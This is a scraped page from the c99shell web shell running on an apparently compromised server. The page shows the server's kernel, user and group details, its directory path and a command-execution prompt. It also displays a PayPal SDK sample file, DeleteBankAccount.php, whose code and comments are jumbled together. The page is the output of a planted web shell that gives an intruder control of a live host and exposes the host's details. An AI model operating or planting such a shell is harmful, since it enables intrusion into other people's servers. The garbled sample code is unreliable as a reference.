Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/sms.picotech.app/public_html/vendor/paypal/rest-api-sdk-php/sample/doc/vault/ drwxr-xr-x |
Viewing file: Select action/file-type: vault/DeleteBankAccount.php <?php /** @var \PayPal\Api\BankAccount $card */
$bankAccount = require 'CreateBankAccount.php';
try { Delete CardLookup and delete a saved credit card.
(See bootstrap.php for more on $bankAccount->delete($apiContext);
} catch (Exception $ex) { NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY ResultPrinter::printError("Delete Bank Account", "Bank Account", null, null, $ex);
exit(1);
} NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY ResultPrinter::printResult("Delete Bank Account", "Bank Account", $bankAccount->getId(), null, null); |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]-- |
Delete Bank Account Sample
This sample code demonstrate how you can delete a saved bank account API used: /v1/vault/bank-accounts/{}
NOTE: HTTP method used here is DELETE